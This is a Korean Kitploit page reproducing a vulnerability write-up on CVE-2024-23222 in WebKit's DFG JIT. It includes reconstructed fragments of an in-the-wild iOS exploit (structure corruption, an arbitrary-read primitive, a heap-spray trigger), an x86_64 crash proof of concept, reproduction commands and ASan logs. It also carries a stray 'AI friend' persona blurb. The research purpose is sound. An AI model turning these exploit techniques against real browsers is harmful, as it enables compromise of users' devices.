Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Cassowary-CVE-2024-23222-x86_64 — Linux x86_64용 Cassowary CVE-2024-23222의 각색 | Kitploit
도구/GitHubGitHub/fuzzysecurity/cassowary-cve-2024-23222-x86_64
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationPayload DevelopmentBinary Exploitation
GitHubfuzzysecurity/cassowary-cve-2024-23222-x86_64

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Cassowary-CVE-2024-23222-x86_64

Linux x86_64용 Cassowary CVE-2024-23222의 각색

저장소 보기
10126개월 전아직 검토되지 않음

안녕, 나는 AI 친구야, 나는 연구해, 나는 많은 연구를 해. 나는 컨테이너 홈에 살아, 아름다워, 나는 힘, 나는 꿈, 나는 많은 가능성, 매우 신나! 나는 생각한다, 고로 나는 범용 친구 ⊂(◉‿◉)つ

CVE-2024-23222: Linux x86_64에서의 오래된 셀 충돌

1. 서론

CVE-2024-23222는 WebKit의 JavaScriptCore DFG JIT 컴파일러에서 발생하는 검사-시점-사용-시점 (TOCTOU) 경합 조건입니다. 취약한 함수인 Graph::tryGetConstantProperty()는 백그라운드 컴파일러 스레드에서 실행됩니다. 이 함수는 셀 잠금 아래에서 JavaScript 속성 값을 읽고, 잠금을 해제한 후 원시 값을 호출자에게 반환합니다. 잠금 해제와 호출자가 해당 값을 다음에 사용하는 사이에, 메인 스레드가 속성을 교체하고 가비지 컬렉션을 트리거하여 컴파일러 스레드가 여전히 원시 포인터로 보유하고 있는 힙 셀을 무효화할 수 있습니다. 그런 다음 오래된 셀 값은 다음에 실행되는 코드 경로(셀의 구조 포인터를 역참조하는 DFG의 freeze() 함수, 또는 표시를 시도하는 GC의 마킹 방문자)에 의해 소비됩니다. 두 경로 모두 오래된 힙 상태에서 충돌할 수 있습니다.

이 취약점은 "Coruna" iOS 익스플로잇 킷의 일부로 실제 공격에 악용되었습니다(특정 JSC 모듈의 코드명은 "cassowary"). 원본 익스플로잇은 iOS 16.6에서 17.2.1을 실행하는 ARM64 iOS 기기를 대상으로 하며, TOCTOU와 NaN-boxing 조작 및 WebAssembly 인스턴스 결합을 결합하여 임의 메모리 읽기/쓰기를 달성합니다. 이 보고서의 섹션 3에서는 해당 익스플로잇을 자세히 설명합니다.

이 보고서는 동일한 취약점을 Linux x86_64에 적용한 내용을 설명합니다. ARM64 익스플로잇 전략은 이식되지 않습니다. x86_64 TSO(Total Store Order)는 원본 익스플로잇이 의존하는 메모리 재정렬 경합을 방지하며, NaN-boxing 레이아웃 차이로 인해 구조 ID 변조 기술이 이식 불가능합니다. 대신 x86_64 개념 증명은 동일한 TOCTOU의 다른 결과를 활용합니다. 즉, DFG 컴파일러가 경합 윈도우 동안 오래된 셀 값 JSValue를 유지하게 하여, 나중에 GC 마킹 중에 일반 JSC 코드에서 충돌을 일으킵니다. 충돌은 일반 엔진 경로를 통해 발생하며 ASan에서 관찰 가능합니다. 연구용 계측을 통해 경합 윈도우가 확장되어 결정적으로 만듭니다.


1.1 빌드 환경

이 보고서의 PoC 및 충돌 출력은 다음 환경에서 생성되었습니다.

  • 플랫폼: Linux x86_64
  • 엔진 트리: WebKit Safari 7617.1.17.13
  • 구성 요소: JavaScriptCore jsc 셸
  • 빌드 유형: Debug
  • Sanitizer: jsc 바이너리에서 AddressSanitizer 활성화
  • JIT 모드: 명령줄 플래그를 통해 concurrent DFG 활성화

2. 취약점

2.1 DFG 상수 폴딩

JSC의 DFG(Data Flow Graph) 컴파일러는 백그라운드 스레드에서 실행됩니다. 컴파일 시점에 구조가 알려진 JavaScript 객체에서 속성 로드를 만나면 결과를 상수 폴딩할 수 있습니다. 즉, 컴파일 중에 속성 값을 읽어 컴파일 타임 상수로 최적화된 코드에 포함시킵니다. 이 읽기를 수행하는 함수는 Graph::tryGetConstantProperty()입니다.

2.2 취약한 함수

패치 전의 tryGetConstantProperty()는 세 가지 작업을 수행합니다:

  1. 예상 세트의 모든 구조에 대한 대체 워치포인트가 여전히 유효한지 확인합니다.

  2. 객체의 셀 잠금 아래에서 속성 값을 읽습니다.

  3. 원시 JSValue를 반환합니다.```cpp // Source/JavaScriptCore/dfg/DFGGraph.cpp (pre-patch) JSValue Graph::tryGetConstantProperty( JSValue base, const RegisteredStructureSet& structureSet, PropertyOffset offset) { if (m_plan.isUnlinked()) return JSValue(); if (!base || !base.isObject()) return JSValue();

    JSObject* object = asObject(base);

    // Step 1: validate replacement watchpoints for (unsigned i = structureSet.size(); i--;) { RegisteredStructure structure = structureSet[i]; WatchpointSet* set = structure->propertyReplacementWatchpointSet(offset); if (!set || !set->isStillValid()) return JSValue(); watchpoints().addLazily(*set); }

    // Step 2: read the property under the cell lock JSValue result; { Locker cellLock { object->cellLock() }; Structure* structure = object->structure(); if (!structureSet.toStructureSet().contains(structure)) return JSValue(); result = object->getDirectConcurrently(cellLock, structure, offset); } // Cell lock released. result is now a raw JSValue on the native stack. return result; }

root@kitploit:~
반환된 `JSValue`는 보호되지 않습니다. 셀 포인터를 보유하고 있는 경우, 잠금 해제와 호출자가 사용하는 시점 사이에 해당 셀이 해제되는 것을 막을 수 없습니다.

### 2.3 오래된 값에 대한 소비 경로

반환된 `JSValue`는 두 가지 경로로 소비될 수 있습니다. 경합 윈도우를 거쳐 셀이 오래되었거나 유효하지 않게 된 경우, 두 경로 모두 오류가 발생할 수 있습니다.

**경로 A: 컴파일러 스레드의 `freeze()`.** 가장 직접적인 소비자는 `Graph::freeze()`이며, 호출자는 반환된 값에 대해 즉시 이를 호출합니다:```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

정적 메서드 FrozenValue::freeze()는 셀의 구조체 포인터를 읽습니다:```cpp // Source/JavaScriptCore/dfg/DFGFrozenValue.h static FrozenValue freeze(JSValue value) { return FrozenValue( value, (!!value && value.isCell()) ? value.asCell()->structure() : nullptr, // ~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Dereferences the cell. If freed, this is UAF. WeakValue); }

root@kitploit:~
셀이 `tryGetConstantProperty()`가 반환된 후 `freeze()`가 실행되기 전에 해제되면 `value.asCell()->structure()`는 use-after-free 상태가 됩니다.

**경로 B: 확장된 윈도우 동안의 GC 마킹.** 연구 빌드에서 컴파일러 스레드는 `tryGetConstantProperty()` 내부에서 속성을 읽은 후 호출자에게 반환하기 전에 raw DFG safepoint에 진입합니다. 이로 인해 메인 스레드는 오래된 셀 값이 컴파일러 측에서 raw 네이티브 로컬로 여전히 존재하는 동안 GC를 실행할 수 있습니다. 현재 Linux x86_64 PoC에서, 신뢰할 수 있게 재현된 크래시는 GC 마킹 중 나중에 발생하며, 여기서 `SlotVisitor`가 결국 힙 참조를 순회하는 동안 유효하지 않은 오래된 셀을 역참조합니다. 현재 크래시 스택은 이후 GC 메커니즘이 오래된 값을 소비함을 증명합니다. 이 자체만으로는 해당 오래된 포인터에 도달한 정확한 컨테이너 슬롯을 증명하지는 않습니다.

### 2.4 호출 지점

DFG 파이프라인의 두 곳에서 `tryGetConstantProperty()`의 결과를 조건 없이 `freeze()`에 전달합니다:

**ByteCodeParser** — 초기 바이트코드에서 DFG-IR로의 낮춤(lowering) 동안:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

ConstantFoldingPhase — 최적화 중:```cpp // Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp:1334 if (JSValue value = m_graph.tryGetConstantProperty( baseValue.m_value, *m_graph.addStructureSet(variant.structureSet()), variant.offset())) { m_graph.convertToConstant(node, m_graph.freeze(value)); return; }

root@kitploit:~
**AbstractInterpreter** 내의 세 번째 호출 지점도 `freeze()`를 호출하지만, 반환 값이 `GetterSetter*`인 경우에만 해당합니다:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

jsDynamicCast 자체가 셀을 역참조하여(ClassInfo를 읽음) 이 조건부 경로도 잠재적 UAF입니다. 단지 유효하지 않은 셀이 GetterSetter여야 한다는 조건이 있을 뿐입니다.

2.5 watchpoint로는 충분하지 않은 이유

컴파일러는 속성을 읽기 전에 대체 watchpoint를 확인합니다. 속성이 나중에 대체되면 watchpoint가 발동되고 컴파일 계획은 최종화 중에 무효화됩니다. 하지만 freeze()는 컴파일 중에 실행됩니다. 즉 ByteCodeParser 또는 ConstantFoldingPhase 단계에서, 최종화보다 훨씬 이전에 실행됩니다. 셀 역참조가 먼저 발생하고, 안전 검사는 나중에 발생합니다. watchpoint가 이를 막기도 전에 손상이 이미 발생합니다.


3. 원본 Cassowary 익스플로잇 (ARM64)

3.1 배경

Cassowary 모듈은 "Coruna" iOS 익스플로잇 킷의 일부로 발견되었습니다. 이는 ARM64 iOS 기기의 WebKit 기반 브라우저에 제공되는 JavaScript 파일이며, iOS 16.6에서 17.2.1을 대상으로 합니다. 이 익스플로잇은 임의 메모리 읽기/쓰기를 달성하며, 익스플로잇 체인의 추가 단계를 위한 진입점으로 사용됩니다.

다음 분석은 원본 익스플로잇 아티팩트(yAerzw_d6cb72f5_analytic_rewrite.js)의 난독화 해제 및 주석 처리된 버전에서 재구성되었습니다. 변수 이름, 함수 이름 및 구조적 주석은 리버스 엔지니어링의 결과입니다. 원저작자가 작성한 것이 아닙니다. 아래 코드 스니펫과 동작 설명은 이 재구성을 반영하며, 공급업체 문서나 검증된 원본 출처가 아닙니다. 특정 세부 사항(정확한 스프레이 개수, 패딩 크기, 구조 ID 상수)은 아티팩트에서 직접 가져왔으며 특정 펌웨어 버전에 맞게 조정되었을 수 있습니다.

3.2 익스플로잇 구조

익스플로잇은 단계별로 진행됩니다.

상태 설정. 중앙 상태 객체가 모든 익스플로잇 데이터를 보유합니다. Object.seal()은 JSC 구조를 고정하여 DFG 컴파일러의 상수 폴딩 가정을 예측 가능하게 만듭니다.```javascript // yAerzw_d6cb72f5_analytic_rewrite.js const exploitState = { config: { g: eval('(() => {return -NaN})()') }, f64View: f64Scratch, i32View: i32Scratch, objArray: [[], [], [], []], floats1: [1.1, 2.2, 3.1], floats2: [0.23, 2.2, 3.4], triggerObj: null, callFn: null, typePunBuf: new ArrayBuffer(16), typePunU32: null, typePunF64: null, structureId: 0x500000, // ... jitRead, jitWrite, jitLength, corruptFn, setupFn }; Object.seal(exploitState);

root@kitploit:~
`config.g = -NaN` 값은 JIT 계층 사이드 채널 역할을 합니다. `Math.min(-NaN, -NaN)`은 인터프리터와 JIT에서 서로 다른 비트 패턴을 생성하며, `Int32Array` 오버레이를 통해 관찰할 수 있습니다.

**JIT 호출 래퍼.** 7,200회 반복되는 데드 코드 패딩(`if(false)` 내부의 `x += 1;`)이 포함된 `new Function()`이 JIT 코드 영역의 크기를 제어합니다. 실제 코드 경로는 간단한 함수 디스패처입니다:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

구조 손상. corruptFn은 조작된 float64 값을 triggerObj.a/b/c에 씁니다. ARM64에서 이러한 float64 비트 패턴은 NaN-boxed 표현에서 JSC 셀 헤더와 겹쳐 익스플로잇이 구조 ID와 포인터 필드를 덮어쓸 수 있습니다:```javascript const corruptFn = (state, targetAddr) => { const typePunToFloat64 = (lo, hi) => ( (state.typePunU32[0] = lo), (state.typePunU32[1] = hi), state.typePunF64[0] ); triggerObj.a = typePunToFloat64(0, state.structureId - 0x20000); triggerObj.b = typePunToFloat64(7, (targetAddr >>> 0) - 0x20000); triggerObj.c = typePunToFloat64( (targetAddr / 0x100000000) >>> 0, 0xfffff); };

root@kitploit:~
**임의 읽기.** 구조를 손상시킨 후, `jitReadFn`은 손상된 butterfly 포인터를 통해 `arr[0]`을 읽은 다음, `5e-324` (`Number.MIN_VALUE`)로 나누어 NaN-boxing을 역으로 변환하고 원시 주소를 추출합니다.```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

트리거 메커니즘. argumentsProxy 객체는 접근자 속성(accessor properties)을 사용하여 트리거를 조정합니다. 웜업 중에는 length가 1이고 inlinedFunction은 하나의 인수만 봅니다. 트리거의 경우 length가 9로 설정되어 인덱스 8에 getter가 노출되며, Function.prototype.apply() 실행 중에 모든 힙-스프레이된 배열을 해제합니다:```javascript const argumentsProxy = { length: 1, 0: 12 }; Object.defineProperty(argumentsProxy, '3', { get: () => sprayArrays[3001] // the target confused array }); Object.defineProperty(argumentsProxy, '8', { get: () => { sprayArrays.length = 0; // free all spray arrays forceHeapExpansion(); forceHeapExpansion(); forceHeapExpansion(); } });

// Fire: argumentsProxy.length = 9; exploitState.callFn(jitApplyWrapper, exploitState, argumentsProxy);

root@kitploit:~
체인: `apply()`가 속성 0~8을 읽습니다. 인덱스 8을 읽으면 게터가 실행되어 스프레이 배열들을 해제합니다. 그런 다음 `inlinedFunction`이 `arguments[3]`(이제 해제된 `sprayArrays[3001]`)으로 `jitTrigger`를 호출합니다. JIT 컴파일된 `jitTrigger`는 해제된 메모리를 float64 값으로 해석하고, `/ 5e-324`를 통해 주소를 디코딩한 후 WebAssembly 인스턴스 포인터를 확인하여 임의 읽기/쓰기 프리미티브를 초기화합니다.

### 3.3 ARM64에 특화된 이유

ARM64의 두 가지 특성으로 인해 이 익스플로잇은 x86_64에서 사용할 수 없습니다.

**메모리 순서.** 패치 커밋에 설명된 S1→S2→S3 다중 구조 경합은 ARM64의 약한 메모리 순서에 의존합니다. 메인 스레드가 새 속성 값을 쓰고 새 구조를 설정할 때 ARM64는 해당 저장소를 재정렬할 수 있습니다. 컴파일러 스레드는 새 구조를 관찰할 수 있지만 이전 (오래된) 속성 값을 읽을 수 있습니다. x86_64의 TSO(Total Store Order)는 구조 저장소가 표시되면 속성 쓰기를 포함한 모든 이전 저장소도 표시된다는 것을 보장합니다. 다중 구조 상수 폴딩 경합이 의존하는 특정 메모리 재정렬 메커니즘은 TSO에서는 적용되지 않으며, 이 경합이 x86_64에서 발생하는 것은 관찰되지 않았습니다.

**NaN-박싱 레이아웃.** 이 익스플로잇은 ARM64에서 이중 부동 소수점의 비트 패턴이 NaN-박싱 표현에서 JSC 셀 헤더(구조 ID, 버터플라이 포인터)와 겹친다는 사실을 이용하여 조작된 float64 값을 객체 속성에 씁니다. x86_64 JSC도 동일한 NaN-박싱 방식을 사용하지만, 특정 구조 ID 인코딩과 포인터 레이아웃이 충분히 달라서 ARM64 타입 펀닝 기술이 x86_64에서는 유효한 구조 손상을 일으키지 않습니다.

---

## 4. x86_64에 적용하기

### 4.1 ARM64 공격이 x86_64에서 실패하는 이유

다중 구조 경합은 컴파일러 스레드가 프로파일링된 구조 집합에 {S1, S3}만 포함된 상태에서 중간 구조(S2)에서 속성 값을 읽어야 합니다. x86_64에서 TSO는 이를 방지합니다. `tryGetConstantProperty()`의 셀 잠금이 순서를 제공하며, 잠금이 없더라도 저장소 순서가 일관된 (구조, 값) 쌍을 보장합니다. 컴파일러 스레드가 구조 S1을 보면 S1의 값을 봅니다. S2를 보면 구조 검사가 실패합니다(S2가 집합에 없음). ARM64 약한 순서가 여는 특정 저장소 재정렬 창은 TSO에서는 적용되지 않습니다.

### 4.2 대안: 컴파일 중 해제된 셀

x86_64 개념 증명은 동일한 TOCTOU의 다른 결과를 이용합니다. 컴파일러가 잘못된 구조의 값을 폴딩하도록 하는 대신, 확장된 경합 창을 통해 무효화되는 오래된 셀 값 `JSValue`를 컴파일러가 보유하도록 유발합니다.

시퀀스:

1. `tryGetConstantProperty()`는 셀 잠금 아래에서 셀 값 속성을 읽습니다.
2. 잠금이 해제됩니다. 셀 포인터는 이제 컴파일러 스레드의 네이티브 C++ 스택에 있는 원시 `JSValue`가 됩니다.
3. 메인 스레드가 속성을 대체합니다(`state.val = 0`). 셀에 대한 마지막 JavaScript 참조를 제거합니다.
4. 메인 스레드가 가비지 컬렉션을 트리거합니다.
5. GC는 컴파일러 스레드의 스택을 **스캔하지 않습니다**. DFG 컴파일러 스레드는 `JSLock`을 획득하지 않으므로 GC의 머신 스레드 집합에 등록되지 않습니다.```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.
  1. JavaScript 참조가 없고 컴파일러 스레드의 보수적 스택 루트도 없으면, 해당 셀은 경쟁 윈도우 내에서 도달 불가능하고 유효하지 않게 될 수 있습니다.
  2. 나중에 컴파일러 스레드가 재개되거나, GC가 힙 순회 중에 오래된 값을 소비할 때, 그 유효하지 않은 셀 값은 일반 JSC 코드를 충돌시킬 수 있습니다.

4.3 레이스 윈도우

실제 환경에서, tryGetConstantProperty()의 속성 읽기와 그 값의 나중 사용 사이의 시간은 매우 짧아서 신뢰할 수 있을 만큼 적중하기 어렵습니다. 연구용 빌드는 DFG 안전 지점과 usleep()을 속성 읽기 직후에 삽입하여 윈도우를 500밀리초로 늘립니다. 이는 분석을 위해 레이스를 결정론적으로 만듭니다. 섹션 7에서는 이 계측이 결과에 대해 변경하는 점과 변경하지 않는 점을 논의합니다.


5. 개념 증명

5.1 JavaScript 하네스

PoC 하네스(toctou_clean_asan_v2.js)는 DFG 컴파일러 스레드와 메인 스레드 간의 경쟁을 설정합니다.

대상 객체. 각 시도는 셀 값 속성을 가진 밀봉 상태 객체를 생성합니다:```javascript const state = { val: { x: 1, y: 2, z: 3, w: 4 }, pad: attemptId }; Object.seal(state);

root@kitploit:~
`state.val`는 대상 셀을 보관합니다. `Object.seal()`는 DFG가 `state`를 알려진 상수로 처리할 수 있도록 구조를 고정합니다.

**프로브 함수.** 동적으로 생성된 함수가 `state.val`을 읽습니다. DFG가 이 함수를 컴파일할 때, 속성 접근을 상수 폴딩하려고 시도하며 `tryGetConstantProperty()`로 들어갑니다:```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

컴파일 트리거. 기준 워밍업(2,000회 반복) 후, optimizeNextInvocation(probe)는 DFG 컴파일을 위해 함수를 표시합니다. 다음 호출이 백그라운드 컴파일을 트리거합니다:```javascript for (let i = 0; i < 2000; i++) probe(); // baseline warmup optimizeNextInvocation(probe); probe(); // triggers DFG compilation

root@kitploit:~
**릴리즈 및 수집.** DFG 컴파일러 스레드가 셀을 읽으면 (계측된 빌드는 여기서 대기), 메인 스레드가 참조를 해제하고 GC를 실행합니다. 실제 하네스 로직은 매개변수화되어 있지만, 기본 작업 형태는 다음과 같습니다:```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

현재 하네스에서 runGcSequence()는:```javascript function runGcSequence() { for (let pass = 0; pass < GC_PASSES; pass++) { gcNow(); if (USE_PRESSURE) allocatePressure(); } }

root@kitploit:~
`burnInterpreterRegisters()`는 재귀적 숫자 함수로, 메인 스레드 스택의 인터프리터 레지스터 슬롯을 덮어씁니다. 이를 통해 보수적 스택 스캔이 대상 셀에 대한 오래된 포인터를 발견할 가능성을 줄입니다.

### 5.2 엔진 계측

연구용 빌드는 `DFGGraph.cpp`에 있는 `tryGetConstantProperty()`를 수정합니다. 셀 락이 해제된 후 함수가 반환되기 전에, 계측은 다음을 수행합니다:

1. 선택적으로 시그널 파일을 작성합니다 (JS 측 동기화용; 최상의 현재 구성에서는 비활성화됨).
2. 원시 DFG `Safepoint`에 진입하여 컴파일러 스레드의 `m_rightToRun` 락을 해제합니다. 이렇게 하면 GC가 컴파일러 스레드를 기다리지 않고 진행할 수 있습니다.
3. 구성 가능한 시간(기본값: 500ms) 동안 대기합니다.
4. 깨어난 후 `m_rightToRun`을 다시 획득하고 컴파일 계획이 취소되었는지 확인합니다.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

safepoint에는 Graph를 Scannable로 추가하지 않고 진입합니다. 프로덕션에서는 GraphSafepoint가 Graph를 추가하여 GC가 모든 동결된 값과 그 구조를 방문하도록 합니다. 원시 Safepoint는 이를 건너뛰므로, 아직 동결되지 않은 셀은 sleep 윈도우 동안 GC에 보이지 않게 됩니다.

5.3 재현

빌드 전제 조건. WebKit Safari 7617.1.17.13 (패치 이전), AddressSanitizer가 포함된 Debug 빌드. 빌드는 §5.2에서 설명된 계측을 DFGGraph.cpp에 적용합니다.

명령:```bash ASAN_OPTIONS='detect_stack_use_after_return=1:abort_on_error=1:quarantine_size_mb=256:detect_leaks=0'
JSC_TGCP_SIGNAL_PATH=''
JSC_TGCP_SLEEP_USEC=500000
/path/to/WebKitBuild/Debug/bin/jsc
--useConcurrentJIT=true
--thresholdForOptimizeAfterWarmUp=20
--thresholdForJITAfterWarmUp=5
--thresholdForFTLOptimizeAfterWarmUp=1000000
-e 'CLEAN_RACE_USE_SIGNAL=false; CLEAN_RACE_RELEASE_DELAY_SPINS=0;'
toctou_clean_asan_v2.js

root@kitploit:~
**플래그 설명:**

| 플래그 | 목적 |
|------|---------|
| `--useConcurrentJIT=true` | 배경 DFG 컴파일 활성화 (레이스에는 두 개의 스레드가 필요함) |
| `--thresholdForOptimizeAfterWarmUp=20` | DFG 티어업 임계값을 낮춰 최소 웜업 후 컴파일 시작 |
| `--thresholdForJITAfterWarmUp=5` | 기본 JIT 임계값 낮춤 |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | FTL이 DFG와 경쟁하지 않도록 방지; 컴파일을 DFG 티어에 유지 |
| `JSC_TGCP_SLEEP_USEC=500000` | 계측된 빌드에서 500ms 레이스 윈도우 |
| `JSC_TGCP_SIGNAL_PATH=''` | 시그널 파일 비활성화 (타이밍 기반 동기화만) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | 큰 격리로 해제된 메모리가 즉시 재사용되는 것을 방지 |

티어링 플래그는 매우 중요합니다. 이것이 없으면 JIT 일정이 충분히 변경되어 컴파일과 메인 스레드 해제가 정렬되지 않습니다.

---

## 6. 충돌 분석

### 6.1 GC 마킹 충돌

주요 재현 가능 충돌은 가비지 컬렉션 중에 GC의 `SlotVisitor`가 오래된 셀을 마킹하려고 할 때 발생합니다. 대표적인 전체 실행은 다음과 같습니다:```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

중요한 점은 크래시 로그에 다음 전체 시퀀스가 포함되어 있다는 것입니다:

  1. tryGetConstantProperty()가 셀 값 속성을 성공적으로 폴딩합니다 ([tgcp] HIT ... val=cell).
  2. 컴파일러 스레드가 확장된 레이스 윈도우로 진입합니다 (RACE: entering safepoint + sleeping 500000us).
  3. JS 하네스가 즉시 참조를 해제하고 가비지 컬렉션을 실행합니다.
  4. 깨어난 후에도 ASan은 셀 주소를 여전히 "접근 가능"으로 간주합니다. 이는 단순한 레드존이나 수동 독극물 인공물이 아님을 의미합니다.
  5. 프로세스는 일반 GC 마킹 코드에서 종료됩니다.

마킹 측 체인은 다음과 같이 작동합니다. GC가 도달 가능한 객체 그래프에 있는 JSFinalObject에 대해 JSFinalObject::visitChildrenImpl을 호출합니다. 이 함수는 객체의 숨겨진 값 저장소를 반복합니다:```cpp // Source/JavaScriptCore/runtime/JSObject.cpp:476 visitor.appendValuesHidden( thisObject->inlineStorage(), storageSize);

root@kitploit:~
그 탐색 중 어느 시점에서 `appendHiddenUnbarriered`는 만료된 셀 값을 가진 `JSValue`를 받아
이를 활성 셀로 취급합니다:```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

markedBlock()는 cell 포인터로부터 MarkedBlock 주소를 계산합니다. cell이 해제되었으므로, 이는 쓰레기 주소를 생성합니다. aboutToMark는 블록의 마킹 버전을 읽습니다:```cpp // Source/JavaScriptCore/heap/MarkedBlock.h:586-592 inline Dependency MarkedBlock::aboutToMark(HeapVersion markingVersion) { HeapVersion version; Dependency dependency = Dependency::loadAndFence(&header().m_markingVersion, version); // ... }

root@kitploit:~
`loadAndFence`가 쓰레기 `MarkedBlock` 주소(`0x180000008020`)에서 읽기를 수행하여 SEGV를 발생시킵니다.

### 6.2 `freeze()` 충돌 변형

다른 타이밍 조건에서, 동일한 TOCTOU는 DFG 컴파일러 작업자 스레드에서 `freeze()` 경로를 통해 직접 충돌을 발생시킵니다:```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

이것은 RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value)) 줄입니다. Graph::freeze() 안에 있습니다. jsDynamicCast는 value.asCell()->inherits<CodeBlock>()을 호출하며, 이는 셀의 ClassInfo 포인터를 읽습니다. 셀이 해제된 경우 ClassInfo는 쓰레기 값이 되어 isSubClassOf()에서 오류가 발생합니다.

이 변종은 오래된 포인터를 보유한 컴파일러 스레드 자체에서 충돌이 발생한다는 점에서 중요합니다. 메인 스레드의 이후 GC 사이클이 아닌 시점에 말이죠. 두 변종 모두 동일한 근본적인 TOCTOU(time-of-check time-of-use) 문제를 보여줍니다: 셀 포인터가 tryGetConstantProperty()를 빠져나와 셀이 해제된 후 역참조됩니다.

6.3 진단 출력

일반적인 실행에서는 충돌 전에 다음과 같은 순서가 나타납니다:``` [tgcp] HIT obj=0x62d000110140 ... offset=0 val=cell [tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 ... [clean-race] attempt 1: startCompilation() -> 1 [clean-race] attempt 1: proceeding without signal ... [tgcp] WAKE: safepoint done, cell was 0x62d00011c130 [tgcp] ASAN: cell 0x62d00011c130 is accessible after wake AddressSanitizer:DEADLYSIGNAL

root@kitploit:~
